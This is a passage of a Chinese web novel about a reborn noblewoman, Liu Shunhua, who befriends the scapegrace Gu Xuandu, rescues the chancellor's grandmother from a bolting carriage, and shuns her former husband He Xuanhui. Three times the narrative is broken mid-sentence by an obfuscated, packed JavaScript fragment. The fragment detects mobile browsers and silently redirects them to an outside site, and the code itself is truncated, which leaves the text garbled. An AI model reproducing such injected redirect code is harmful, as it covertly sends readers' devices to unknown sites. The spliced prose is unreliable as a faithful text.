贺玄度漫不经心地挑挑眉:“柳小姐想要我做什么?” 他身为相府公子,找他帮忙的人多了,不外乎就是想通过他谋求私利。 柳舜华扒开浓密的花枝,看着贺玄度的眼睛,“我要你……” 贺玄度心猛地一提,眼睛睁大。 此前她三番两次的出现在他跟前,果然是想引起他的注意。 她看上他了,她想嫁进相府? “把我给你的那张字抄一百遍。” 贺玄度一脸茫然,“你说抄什么?” 柳舜华定定道:“抄字,就我昨日给你的那个,一百遍。” 贺玄度往后退了几步,“柳舜华,你脑子有毛病吧!” 柳舜华见他有些抵触,深觉凡事不可一蹴而就。当初她练字的时候,也不是一日两日便学得像的。 她遂改口道:“八十遍也行,贵在坚持。” 贺玄度脸色阴沉,心内冷笑。 亏他之前还以为她或许不一样。 原来她和其他人没什么不同,是存心要戏弄他。 他恼羞成怒:“我算是看明白了,你不但有病,还跟我有仇。” 柳舜华只得妥协:“实在不行,五十,五十总行了吧。” 贺玄度忍无可忍,指着她怒道:“柳舜华,有病就去治,明日小爷我送五千钱给你治病。” 他怒气冲冲地转身,柳舜华她简直欺人太甚。 柳舜华见他要走,急了,“你别走啊,咱们可以商量的,你听我……” 她一时心急,忘记还在墙上,竟站了起来,双脚一滑,险些摔了下来。 “贺玄度,你别走,帮帮我啊!”柳舜华急得叫了起来。 此前她惯会爬树不假,可这么吊着,她有力也使不上,只能叫人帮忙。 贺玄度闻声回头,笑得直不起腰。 柳舜华双手扒着一根粗枝,整个人挂在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863675|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半空,像个大扑棱蛾子似的,不停地荡来荡去。 贺玄度走上前,仰头挑衅道:“还让不让我写了?” 柳舜华摇头:“此事,倒也没那么急。” 贺玄度围着她转了一圈,“你方才不是说,上面挺好。既然这么好,不妨多吊一会。” 柳舜华央求他:“贺玄度,我快撑不住了。” 贺玄度置若罔闻:“敢戏弄小爷我,活该你被吊着。” 想到兄长以及众人对他的态度,柳舜华渐渐反应过来,他顶着纨绔的名声多年,此前必定受了不少奚落,以至方才她一时心急,贸然提出让他练字,引他起了误会。 柳舜华费力解释:“贺玄度,你听我说……我只是想帮你。” 贺玄度不屑:“帮我,让我抄一百遍就是帮我,你……” 柳舜华再也支撑不住,双手不受控制地滑了下去。 一树花枝乱颤,杏花簌簌飞落,绿玉扑腾一下飞了出去。 兰香自衣袖间充斥着四周,让人酥醉。柳舜华羽睫轻扇,看着近在咫尺的贺玄度,直到他温热的气息喷在耳边,才发觉,她整个人压在贺玄度身上,两个人的姿势暧昧到了极点。 她脸上一红,忙催促道:“你快起来啊。” 贺玄度脸抖了抖,“柳小姐,你在我上面。” 柳舜华垂眸一看,的确如此,手忙脚乱地从贺玄度身上起来,垂头站在一边。 贺玄度扶着腰起身,“柳舜华,你是不是故意的?” 柳舜华低声道:“真不是,方才我都说了,我支撑不住了。” 贺玄度气得用手指着她,又缓缓放下,“看在昨日你帮我的份上,我不跟你计较。还有,这两日绿玉的花销,我也会差人送给你。柳舜华,下次别让我再看到你。” 柳舜华拦在他身前,急道:“贺玄度,我真不是故意捉弄你。我只是……前些日子你说过,你想练字的。” 贺玄度冷眼看着她:“我想练字,与你何干?” 柳舜华一时语塞,她想让贺玄度练字,无非是期盼着他能早日回到本来的样子,可眼下的贺玄度,显然不是一两日便能改变的。 贺玄度认定她有意羞辱他,无论她如何解释,他都不会再信。 柳舜华仰头望向贺玄度,双眸清亮,一脸诚挚:“我知你对我有所疑心,可我真的并无恶意。贺玄度,要怎样你才能信我?” 她眸光殷切,一张白净的脸上因有些激动,微微泛红,耳垂上的珠子轻轻晃动,像是花叶上的朝露,随时可能被风吹散。 她迎风而立,明明柔弱得不堪一击,可就这么倔强地站在他面前。 贺玄度没由来一阵心软,到嘴的狠话一句也说不出口。 他闷闷道:“我就是个纨绔,你干嘛要费心同我走这么近?” 看来是时候要找个合适的理由,来悉数打消他的疑虑了。 柳舜华长叹一口气,“因为一只兔子。” 贺玄度不可置信,先前帮他说是因为绿玉,现下又说什么兔子。 柳舜华幽幽开口:“你六岁那年,有次出府去玩,是不是在相府墙边捡到过一只兔子?” 贺玄度一愣,她怎么会知晓他小时候的事。 柳舜华缓缓道:“那只兔子,叫小白。” 12. 第 12 章 六岁时,贺玄度生母亡故。 三个月后,贺丞相便迫不及待将陈氏扶正。 贺玄度猝然没了母亲,父亲又从不将他看在眼里,幸得祖母垂怜,养在膝下。 祖母上了年纪,难免心力不济,他无人教导,性子渐渐养得野了。 那个时候,他的确养过一只兔子。 可他正是读书向学的年纪,贺丞相最厌这些东西,说是玩物丧志,他怕被父亲责骂,只是偷偷养在院中。 可惜那兔子只跟了他不到一年,便被父亲发现,着人丢了出去。 这件事,知晓的人不多,若不是亲眼所见,柳舜华应当不会知晓才是。 柳舜华不紧不慢地说着:“小白是我无意中捡到的,我一直偷偷养在后院。可后来,还是被父亲发现了,他不喜欢我养,想让人把小白丢了去。我不肯,便抱着小白跑了出去。我跑了很久,直到跑在一个高墙边,我不小心跌了一脚,小白便跳了下来。等我从墙角爬起来,就看到一个小公子将小白抱了起来。” 她偷偷瞥了眼贺玄度,只见他微仰着头望着天空,像是在回忆什么。 她继续道:“那小公子摸着小白,动作轻极了。看得出来,他很喜欢小白,小白似乎也很喜欢他。我便想,小白跟着我不长久,还不如跟着他。而且,我看他家高门大户的,小白定能过得很好,这才放心离开。” 贺玄度听到此处,突然长叹一声。 柳舜华适时道:“贺玄度,我知道是你。在我心里,一直很感激你替我养了小白。” 贺玄度身形微微一顿,再望向柳舜华时,脸上缓和了不少。 柳舜华心喜,果然奏效了。 前世,贺玄度一贯清寂,话并不多。 贺玄度的这些事,她都是从老夫人那里听来的。 那日,她陪着老夫人用膳,下人端上一份兔肉羹。老夫人见状,忙令人撤了去,并告诫说二公子已经回府,日后桌上不能出现兔肉。 她心下好奇,便问了缘故,这才知晓这段过往。 贺玄度闭了下眼,再睁开时,满脸哀切。 他问:“那只兔子是你的啊?” 柳舜华下意识地点头。 那只兔子自然不是她的,她只是编个故事,来获取贺玄度的信任。 对于同样的遭遇和经历,贺玄度总是会生出怜悯之意。 上辈子如此,这辈子应也不会差。 贺玄度嘴角勾起,带着一丝嘲弄:“你不该谢我,是我对不住你。你的小白,我并没有护住。” 柳舜华怔了一下,贺玄度这是在自责? “那只兔子……我后来去寻过。在膳房门口,我捡到了曾系在小兔子腿上的红绳,红绳上满是血迹……” 贺玄度面如冰霜,声音发冷。 柳舜华并不知道会是这样,若早知如此,她断然不会提起这段过往。 心上似乎被压着千斤巨石,仿佛那只兔子真的是她的一样。 她再也忍不住,眼泪不受控制流了下来。 她替六岁的贺玄度难过,当时年幼的他看到红绳时,该会有多无助。 她也替那只兔子难过。 贺玄度说话一向没轻没重,不懂迂回。他平生所见的女子,对着他几乎都是笑的,从不曾有人在他面前哭过。 看着哭得梨花带雨的柳舜华,他顿时慌了神,手忙脚乱地在一边干着急。 他凑近,歪头道:“你别哭啊,那都过去多久的事了。这样,改天我送一只还你,怎样?” 柳舜华依旧在哭,她也不想哭,可就是止不住。 贺玄度急了:“十个,十个。若你还不满意,二十个,五十个,一百个总行了吧!” 柳舜华慢慢止住了哭,哽咽道:“我不要。” 贺玄度一拍脑袋,“你瞧我,都忘了你父亲也不喜欢你养这些。这样,你说你想要什么补偿,但凡是我能做到的,我都会给到你。” 说完,他瞥了一眼柳舜华,“写字就算了,那日我只是一时兴起。我这个人,一读书写字就犯晕。” 柳舜华转身擦干泪,“我还没想好,你让我想想。” 贺玄度长松一口气,她总算是不哭了。 “小姐,小姐。” 是芳草在找她。 贺玄度生怕她再哭,忙催促道:“你家丫头寻你,赶紧回去吧。” 柳舜华颔首,眼眶泛红,“贺玄度,你总该信我了吧。” 贺玄度点头如捣蒜:“信信信,你赶紧回去吧。” 绿玉在贺玄度肩头跳了几下,学着贺玄度的语气,又叫道:“柳舜华,柳舜华。” 听着绿玉的叫声,她突然一滞,想起此前它就叫过她的名字。 她踌躇片刻,方想开口询问,贺玄度已是等不及,拱手道:“柳小姐,先行告辞。” 他只想快些离开,一看到她哭,他就不知所措。这种感觉,太奇怪了。 柳舜华心中莫名一闷,她看上去很可怕吗,怎么贺玄度总是躲着她? 芳草才到府门转角处,便看到柳舜华红肿着眼走了过来。 “小姐,你这是怎么了?” 柳舜华用手挡了眼睛,“没事,被风迷了眼。” 待回到后院,柳棠华已经起床,正满院子去寻绿玉。 柳舜华见瞒不住,只得说是绿玉贪玩飞了出去,她找了许久也未曾发现踪影,大约是不会再回来了。 柳棠华听罢,抱着鸟笼哭得昏天暗地。 柳舜华将自己这些年搜罗的小玩意拿出来大半,才总算将她哄住。 晚间难得聚在一起用膳,柳棠华低垂着头,神情恹恹。 柳奉见状,还未细问,孙姨娘却先开了口。 “蓁蓁啊,我听说相府下了帖子,邀家中女眷前去参加相府老夫人寿宴。” 柳舜华扒了一口饭,点头。 随后一想,孙姨娘这种身份,肯定是不方便参加的,她这么问,多半是替棠华考虑。 她又道:“我一个人去有些无趣,芊芊会同我一起。” 孙姨娘笑了一下,“你们两姐们去,还是有些孤单。不如,带上萋萋一起吧。” 柳舜华顿了一下,抬头看了一眼孙姨娘。 瞧见她头上多了一根蓝田玉簪,瞬间明白了,她这是收了叔母的好处,替她来当说客来了。 她漫不经心道:“蔓华也想去,怎么叔母不带着她来说,反而让姨娘从中传话?” 孙姨娘心虚,赔笑道:“这不是今日碰巧过去,顺口就说了你要去相府赴宴之事,萋萋听了,羡慕得不行。” 柳舜华道:“蔓华不是正与府尹家公子说亲,还有闲心参加寿宴?” 一听这话,孙姨娘叹了一声,“快别提了,亲事黄了,府尹家公子没有看上萋萋。昨日我去,萋萋那眼,哭得核桃一般,可怜见的。” 柳奉瞥了她一眼,“萋萋可怜见的,你没看到芊芊眼睛也肿了?你这个娘当的,可真尽责。” 孙姨娘这才发现,柳棠华眼睛红肿,似是哭过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863676|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “作死啊,你做了什么?” 柳舜华心下不满,孙姨娘这话问的,好像棠华哭也是错一样。 可她到底是棠华的娘,柳舜华还是将绿玉之事告知。 柳桓安突然问道:“绿玉,就是那只鹦鹉吗?” 柳舜华点头。 孙姨娘一嗤,“我还当什么大事,姑娘家的养那些做什么,还不如多学学女红针线,才是正经。” 柳奉将碗筷放下,“姑娘家学些女红是正事,可也不能太束着她们了。日日在后院待着,也是无趣。这样,明日你们去街上看看,有什么想买的,尽管去买。” 孙姨娘瞅了一眼棠华,“老爷别太宠着她,也该多想想松儿,他在外头求学,苦不堪言,已三个月未归了,老爷也不说要去看看。” 柳奉眉头一皱,“求学之路艰辛,这点苦都不能吃,还谈什么成家立业。” 孙姨娘心下憋屈,见棠华不替自己兄长说话,依旧扒着饭吃,便朝她撒气,“一天到晚就知道吃,你看看你像什么样子,将来若是嫁不出去,有你哭的,还指望柳家养你一辈子啊?” 柳棠华本就心情郁郁,孙姨娘这一骂,一双杏眼含泪,委屈极了。 柳舜华斜眼过去,想起上辈子棠华被封皇后时孙姨娘的嘴脸和眼前毫不掩饰的厌弃,心下一阵鄙夷。 棠华有她这样的娘,真是倒了八辈子的霉。 柳桓安实在看不过去,在柳棠华背上拍了拍,“姨娘放心,即便芊芊将来不嫁,柳家也不缺她这一口饭。她是我亲妹妹,我养她一辈子。” 此话一出,柳棠华眼泪止不住地流,伏在柳桓安肩头呜呜地哭了起来。 不止柳棠华,柳舜华也跟着红了眼眶。 若是上辈子,听到兄长这话,或许她会更加坚决一点,没准能早日脱离相府。 柳奉皱眉,对孙姨娘道:“孩子大了,以后这样的话少说。” 他眼光又扫过柳桓安,“还有你,说什么胡话,女孩子哪能不嫁人。你也老大不小了,等忙完这一阵,我就安排人给你说亲。” 柳桓安忙道:“父亲,此事不急。” 柳奉“啪”地一拍桌子,“不急,你已二十有一,还不急。” 柳棠华吓得浑身一抖,忙从柳桓安肩头移开,垂头老老实实坐在一边。 孙姨娘眼中精光一闪,笑道:“老爷消消气,咱们大公子长得一表人才,如今又得皇上重用,挑剔一点也情有可原。老爷若是放心,我替大公子瞅着。” 柳奉这才满意,“咱们不是什么高门大户,自然不在意门第。只一点,人品要好,模样就算差点,也没什么。” 柳舜华见柳桓安黑着脸,忙道:“父亲,过些时日便要去相府贺寿,寿礼可要提前备下才好。” 柳奉点头:“是要早些准备,只是不知备些什么才好。” 柳舜华笑道:“那可是丞相府,自然什么都不缺。咱们这样的人家,不必挖空心思去想,反正也比不过别人,只需拿出家中珍贵的,尽了心意便可。” 柳桓安称是,“蓁蓁说得不错,若是太贵重,反而有些不合适。” 柳奉沉声道:“这不是你该操心的事,你只需忙完这阵,老老实实地去相看些姑娘才是正事。” 柳桓安听罢,面上已有几分不悦。 柳奉叹息一声:“你这孩子,怎么让你娶妻,倒像要害了你一样。” 柳桓安沉默。 柳舜华有些忧心,兄长这模样,多半是有了心上人。 13. 第 13 章 元始六年三月初八,柳舜华醒得格外早。 上辈子,就在今日,止云斋门前,她救下了相府老夫人。 救下老夫人,正是她命运转变的开始。 她本是个肆意无拘之人,最爱自在,最厌束缚。 可嫁入相府,蹉跎三年,落得个葬身火海的下场。到死,都未能挣脱。 如今重活一世,山长水阔,她要随心所欲地活着,决计不会再嫁入相府。 可是,她实在放心不下老夫人。 初入相府时,尽管贺玄晖有意冷落,但有老夫人在,她过得还不错。 老夫人喜热闹,尤爱舞乐,听曲时也总喜欢叫上她,还专挑些新编的乐曲。 可柳舜华知道,老夫人已过花甲之年,最易犯困,常常听到一半,就睡得昏昏沉沉。 她这是听到了风言风语,怕柳舜华一个人闷着,更担忧府内那些下人会轻看了她。 老夫人如此大张旗鼓,无非是想让府内所有人知道,柳舜华有她护着,谁都不能欺负了去。 老夫人对她处处维护,待她如亲孙女一般,她不能眼睁睁看着老夫人出事。 …… 已是三月天,草木萌动,两岸十里花柳延绵,石拱桥上人潮涌动,街边的包子铺热气腾腾,叫卖声此起彼伏,一幅浓浓的人间烟火气。 柳舜华踏在石板路上,步履轻盈。 外面天高云淡,无拘无束,她再也不用困在高墙内,缩在相府一方小小的院落中。 芳草看着戴着帷帽的柳舜华,忍不住问道:“小姐,若是惹了风寒,要不要先找医工看看?” 柳舜华道:“不用,无碍。” 芳草又问:“小姐,有马车咱们干吗要走路啊?” 柳舜华挑起帷帽一角,抬头看着天穹,一望无际的湛蓝,画卷一般绵延不绝。 她道:“憋屈,我想走走。” 芳草歪头想了许久,整个柳府,好像没人敢给小姐气受吧。 还未想明白,柳舜华已经走远,芳草赶紧快步跟上。 春日渐暖,被关在宅子里一冬的女眷们,纷纷出府添置新衣,止云斋内人较往日多了一成不止。 芳草拿着取货单子交给掌柜后等在一旁,柳舜华就站在门口,望着前方。 长街尽头,一辆翠帷七香车缓缓而来。 元始六年初,相府老夫人思乡情切,不顾舟车劳顿,执意回南阳老家探亲,一去便是两月余。因月中便是老夫人的寿辰,她这才不得不赶回长安。 柳舜华快速左右打量了一圈,并未瞧见前世曾让马车受惊的顽童。 她正庆幸着,或许这一世并无变故。 突然一瞥,远处人群中突然窜出两个孩子。一个手拿拨浪鼓,一个在后面追逐。后面的孩子伸手去抢,前面的孩子不肯相让。争执之间,拨浪鼓脱手,一下被甩出老远。 马车正平稳行驶,突然一只拨浪鼓迎面飞来,奔波了一路的马儿受了惊吓,登时扬起前蹄,嘶鸣不止。 车夫见进了城,稍稍松懈,才打了个哈欠,不想便出了意外。 他瞬间有些慌了神,一着急手中的缰绳不慎脱落,弯腰去捡缰绳时,竟被颠下马车。 马儿无人控制,当即在街道上横冲直撞,街上众人纷纷惊慌避让。 车夫顾不上鲜血直流的手臂,一骨碌从地上爬起,一瘸一拐地跑着去追。 可他拖着瘸腿,哪里追得上。 马车很快来到眼前,柳舜华没有片刻犹豫,一跃跳到马车上,顺势抓过缰绳。 马儿见有人上来,嘶鸣一声,疯狂地向前奔去。 前方原是一片开阔的空地,不巧今日来了个杂耍的班子,正在那表演。 若任由它冲撞上去,不知要伤多少人。 柳舜华不住朝着前方高喊:“快闪开,快闪开。” 人群嘈杂,哪里能听得到她的呼喊。 长街上,马儿越跑越快,丝毫没有要停下来的趋势。 人群中不知是谁回了头,吓得大叫一声,围观的人群瞬间四散开来。 本来已经有些平静的马儿再次受到惊吓,不停地左右摇晃,试图将柳舜华甩下去。 柳舜华才适应这具身体,又多年未曾骑过马,跟着不停摇摆,险些真被甩出去。 她心一狠,将缰绳又往手上缠了一圈。 粗糙的绳索在她手中不停摩擦,直勒进肉里。 手指几乎要被绞断,一阵火辣辣的痛感从掌心瞬间延至全身。 她必须要坚持住,勒停马车。 马车一旦失控,老夫人即便不被颠出去,就是磕磕碰碰,她的身子也遭不住。 她脊背绷直,豆大的汗珠从额头滑落,浸得眼睛生疼。 却依旧死死拉紧手中的缰绳,不敢有丝毫松懈。 不知过了多久,她已累得精疲力竭,眼看就要坚持不住。 马儿这时终于不再挣扎,渐渐停了下来。 柳舜华这才慢慢松下缰绳,腾出一只手,不停地抚摸着马背。 马儿在她的安抚下,慢慢恢复平静。 她终于舒了一口气,从马车上跳下。 车夫这时才跑过来,对着柳舜华千恩万谢。 马车后的几个随从很快也赶了上来,一群人呼啦啦地围在马车前。 为首的是个中年妇女,她吓得面色惨白,声音微微发颤:“老夫人,您怎么样?” “无碍。”马车内传来淡淡一声。 众人这才放下心来,声音平稳,看来老妇人应是无事。 车帘被缓缓卷起,老夫人向前探了探身子,两鬓的白发在日光下泛着微光。 柳舜华一看到老夫人,鼻尖一酸,眼泪便忍不住滚滚落下。 自入相府,柳舜华便一直伴着老夫人,陪她走完了最后一段路。 老夫人去世前半个月,整个人已经混混沌沌,不太能记起人。 可每次只要柳舜华过去,她总会喃喃地叫出柳舜华的名字。 弥留之际,她还不忘往柳舜华手里塞她喜欢的糕点。 枯槁的双手中仅存的一点温度,都留给了她。 老夫人看了一圈,目光落在柳舜华身上。 只见她身穿着一件窄袖缥碧流云纹衣裙,气度从容。 虽戴着帷帽,看不清面容,但影影绰绰之下,反而增添一丝别样风姿。 方才马儿受惊,车帘被扬起,老夫人隐隐约约看到驾车之人戴着帷帽。 如今一瞧,便知是她。 老夫人笑着冲柳舜华招招手,柳舜华悄悄擦干眼泪,攥紧手掌,走上前去。 老夫人温声问:“姑娘,方才是你拦的马吧?” 柳舜华点点头,“是。” “你再走近些。”老夫人揉着腿,悄声道:“你不知道,方才我吓得腿都软了。这一群人围着,我总是要装一装。这会,我是一点都动不了了。” 柳舜华“扑哧”一笑,老夫人还真是,一点都没变。 老夫人见她笑了,也跟着笑了起来。 老夫人又问:“你是哪家的姑娘?身手这般好?” 上辈子,救下老夫人后,她见老夫人周身气度不凡,有意想替柳府争取一条新门路。 当老夫人问她是何人时,她便自报了家门。 之后,相府派人送去谢礼之时,她又落落大方,应对自如。 送礼之人回去复命时,为讨好老夫人,将她的好处往死里夸,更让老夫人对她印象深刻,以致在寿宴上对她赞不绝口。 只是这次,柳舜华只想救下老夫人,并不想节外生枝。 她躬身施礼道:“小女出身乡野,幼时外祖家养马,跟着兄长们学了些御马之术。今日不过顺手罢了,老夫人莫要放在心上。” 老夫人见她姿态舒展,毫无半点忸怩之态,对她的喜爱又添了几分。 可见她并不想告知家世门第,又戴着帷帽,似乎不想被人认出,心下虽遗憾,却也不好再追问。 想到此处,老夫人伸手从腰间取下一块玉佩,递给柳舜华,拍着她的手道:“虽说如此,可到底是救命之恩。若你日后有困难,可拿着玉佩到丞相府去,自会有人相帮。” 柳舜华点头,从老夫人手中接过玉佩,攥在掌心。 “祖母。” 柳舜华浑身一震,这声音…… 是贺玄晖。 柳舜华清楚地记得,上辈子,救下老夫人后,她并未遇到贺玄晖。 贺玄晖稳步而来,挺拔的身姿在人群中格外惹眼,一袭白衣沐浴在日光下,衣袖上银色八角星纹熠熠生辉。 他走近,对着老夫人行了礼,关切问道:“祖母,您怎么样?” 老夫人一笑:“是彰儿啊,你为何在此?祖母无事,不用担心。” 贺玄晖规规矩矩道:“父亲嘱托孙儿一些政事,孙儿正与人商谈。丁宝突然说看到了祖母的马车,我这才知晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863677|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖母今日回府。未能提前派人去迎接祖母,致祖母受惊,孙儿惭愧。” 老夫人摆摆手:“这怎么能怪你呢,是我怕麻烦,未提前告知府内。” 贺玄晖道:“祖母一路辛劳,又受此惊吓,孙儿实在放心不下。我已着丁宝回府通禀,并让人去请了太医,想必太医马上就到了。” 老夫人想了想,说道:“也好,那回府吧。你既有事,就不必跟着了,正事要紧。” 说罢,老夫人转头看了一眼柳舜华,许久才转过身去,向着侍从抬了抬手。 车帘缓缓放下,晨光中马车渐行渐远。 今日一别,前尘世事随风散,她与老夫人便无任何瓜葛。 即便再相见,也只是再寻常不过的陌生人。 柳舜华垂下眼眸,按下心内的不舍与遗憾,缓缓转身。 “姑娘,还请留步。” 柳舜华下意识地转身,她压根没料到,贺玄晖会主动与她打招呼。 贺玄晖走至柳舜华跟前,指着她的衣角下摆道:“想必是方才姑娘为了救祖母,不小心划破了衣裙。前面便是止云斋,若姑娘不嫌弃,我赔给姑娘一套衣裙可好。” 他眉目清俊,嘴角噙着笑意,声音如微风轻拂过春水,温柔得让人忍不住沉湎。 可柳舜华早不是三年前的柳舜华,她只冷声道:“多谢,不用。” 贺玄晖一愣,尽管隔着帷帽,他也能觉出她的冷漠。 他想,或许是他太唐突,旋即解释道:“姑娘,我并无恶意,只是想表示感谢。” 柳舜华懒得与他纠缠,只是转身朝止云斋走去。 贺玄晖以为她听取了他的提议,忙跟了上来。 还未到门口,芳草已经捧着衣裙走了出来。 一见到柳舜华,便问:“小姐,我听外面乱糟糟的,出什么事了?” 柳舜华见她已取了衣裙,便道:“无事,走吧。” 说罢,一转身便碰到了跟在身后的贺玄晖,整个人险些跌到他怀里。 贺玄晖慌忙伸手去扶,温热的手掌抚上她的臂膀,柳舜华却像碰到什么洪水猛兽,几乎是下意识地后退几步。 贺玄晖自觉失礼,不住道歉:“姑娘,对不起,我不知道你要转身。” 柳舜华揉着被他碰过的手臂,不由一阵恶心,气恼道:“我说了不用,为何还要跟着?芳草,咱们走。” 贺玄晖快步跟上解释:“姑娘,我不是故意的,方才见你朝止云斋走,我以为……” 柳舜华停下脚步,对着他狠狠道:“离我远点,别再跟着我。” 贺玄晖被她一吼,像个犯错的小孩,不知所措。 不知为何,他总觉得,这个姑娘,似乎很讨厌他。 她让他觉得,他似乎做错了什么事,可却怎么也想不起来。 他一脸茫然,呆愣在原地,心里空落落的。 这种感觉,很熟悉,上次浮霞园也是如此。 待走得远了些,芳草回头,看了看贺玄晖,不解道:“姑娘,那人是谁啊?瞧着一身贵气,长得也俊美不凡,不像登徒子啊。” 柳舜华怒道:“什么贵气,分明是晦气,以后碰到他,有多远走多远。” 说罢,她转头瞥了一眼贺玄晖,嘴角牵起一丝冷笑。 贺玄晖,这辈子最好永不相见。 回到家,柳舜华瘫坐在椅子上,眼神不自觉朝外间书柜看去。 柜内放满了各式小玩意,有柳条编的小篮子,草编的蝴蝶,还有竹蜻蜓。 她起身走过去,目光停在书柜上的竹蜻蜓前。 未出嫁前,她热衷于各种手工,乐此不疲,这满柜子的小玩意都是她自己动手做的。 初嫁进相府,她还一心想着与贺玄晖好好相处,曾精心做了一只竹蜻蜓,小心翼翼地在上面雕了一朵并蒂莲,又将表面打磨得光滑,细细涂了蜡油,希望并蒂莲能长久一些。 她满心欢喜地将它送给贺玄晖,可他只看了一眼,便随手丢在一边。 谁料第二日,那竹蜻蜓就出现在贺容暄手里。 贺容暄当着她的面,将竹蜻蜓丢进水池。 她嗤笑一声,告诫她,这些不入流的东西,不配出现在贺家。 柳舜华看着水池中的竹蜻蜓漂啊漂,越漂越远,心一点点沉了下去。 想起贺玄晖那张脸,柳舜华心中更觉晦气。 她随手一掷,竹蜻蜓啪嗒一声,掉进书柜漆黑的缝隙中… 14. 第 14 章 夜里,贺玄度做了一个梦。 他又梦到了小时候养的那只兔子,还梦到了……柳舜华。 这是继浮霞园归来后,第二次梦到她。 他睡不着,索性坐起身,半屈着一条腿,胳膊撑在腿上,用力揉着额头。 “柳舜华,又是她。” 那个女人,他一见便浑身不自在,尤其是她哭的时候。 绿玉被他猛然惊醒,迷迷糊糊地叫道:“柳舜华,柳舜华。” 贺玄度闻声,抓起旁边的香囊砸了过去,“给我闭嘴,不准再叫。” 绿玉扑腾一声飞到了窗台,垂头睡在一边。 花窗外夜色尚浓,廊下的灯笼不知何时已经熄灭,上夜的小厮也没来得及去换,黑魆魆一片。 贺玄度朝着窗外看了一会,打个哈欠,拉过被子盖上又睡了过去。 夜还长着呢,过了今晚,他哪还记得什么柳舜华。 隔天芳草拿了个食盒进来,说是有人送过来的。 柳舜华打开,只见食盒上层歪歪斜斜写了两个字:赔罪。 那字迹柳舜华认得,是贺玄度。 与上辈子飘逸出尘,一眼难忘的字一样,他这辈子的字,同样让人印象深刻。 食盒内放着各类糕点还有一些干果,柳舜华捏了一块放在嘴里,甜丝丝的。 贺玄度主动送这些,还特意写了“赔罪”两个字,可见他是信了那日她编的故事。 他定以为当初是他没有保护好那只兔子,辜负了她的期望,惹得她伤心难过。 人人都说贺玄度纨绔荒唐,可他们哪里会看到他心底的良善。 柳舜华欣喜于洞察到贺玄度内心的柔软,又为他被人误解感到难过。 她将糕点干果挑出一份留给棠华,余下的都收了起来。 贺玄度送来糕点干果,虽说是赔礼,但柳舜华还是想送些回礼。 一来,她受之有愧。二来,她也想借此多接近贺玄度。 若是上辈子,她只需送些笔墨即可,可经过昨日那一遭,她算是明白了,若是送这些过去,他怕是不会喜欢。 好不容易与贺玄度建立起一点信任,目前她要做的,是继续赢得他的好感。 柳舜华想起从浮霞园带回来的几坛凉州葡萄酒,贺玄度外祖同样是凉州人,他少时也在凉州生活过一段时日,应该会喜欢。 她打发人去相府递话给贺玄度,贺玄度果然欢喜得很。 不过,他却说相府内饮酒不自在,让她把酒寄在平日常去的望月楼。 望月楼,长安城里最好的酒楼,坐落在东市。 从柳府出发,要半个多时辰。 马车走到靠近东市的平清坊附近,渐渐慢了下来。 柳舜华掀开车帘,只见一条街上围满了人。 车夫朝柳舜华道:“前面不知出了什么事故,怕是没那么快到了。” 柳舜华往前看了一眼,“没事,也不着急,你慢些走,莫撞到人。” 马车行得极慢,街边声音不时传进车内。 “怎么回事啊?我这才刚来,平清坊就出事了。” “听说里面有人被砍断了一根手指,血溅了一地。” “谁啊?敢在平清坊闹事?” “这个是真不知,不过,你们猜这被砍的是谁?府尹家的公子。” “我知道,我知道。我刚从千陶馆出来,那人看样子不过是个家奴,自称主子看上了梅好姑娘,要将她带出去陪酒。卓公子自然不同意啊,那人一怒之下,就把他的手指砍掉了一个。”有人挤进来,眉飞色舞地说着。 “一个家奴,敢这么嚣张,这人得多大来头啊。” 人群中唏嘘不断。 柳舜华听到府尹公子,微微抬眸。 少年权贵多风流,为女子争风吃醋,屡见不鲜,但光天化日之下断了府尹公子的手指,却有些骇人听闻。 柳舜华曾贵为相府长媳,长安城中叫上名的权贵,她都略知一二,可却没听说过哪家公子敢如此张狂。 不过想到被打的是府尹公子,柳舜华不由冷哼一声。 这位卓公子,名唤卓良,原也是长安一霸。 上辈子,他娶了堂妹蔓华之后,便以皇亲国戚自居,强取豪夺之事没少做。 果真是恶人自有恶人磨。 …… 马车缓缓驶出平清坊街道,柳舜华只当听了个故事,听过也就忘了。 望月楼临河而设,河岸春花繁茂,碧波荡漾,楼前屋后绿树环绕,春意融融。 临近正午,店外却门可罗雀。 柳舜华站在望月楼门口,抬头看了看匾额,确认没有走错,这才走了进去。 进了店,柳舜华才发现,只临窗处坐了两人,另有一随从侍立在侧。 她心下疑惑,还未同店家说明来意,便看到店家朝她摆手,示意不要进来。 “让你喝你就喝,扭扭捏捏的,无趣得很。”慵懒散漫的声音中透着一丝不耐。 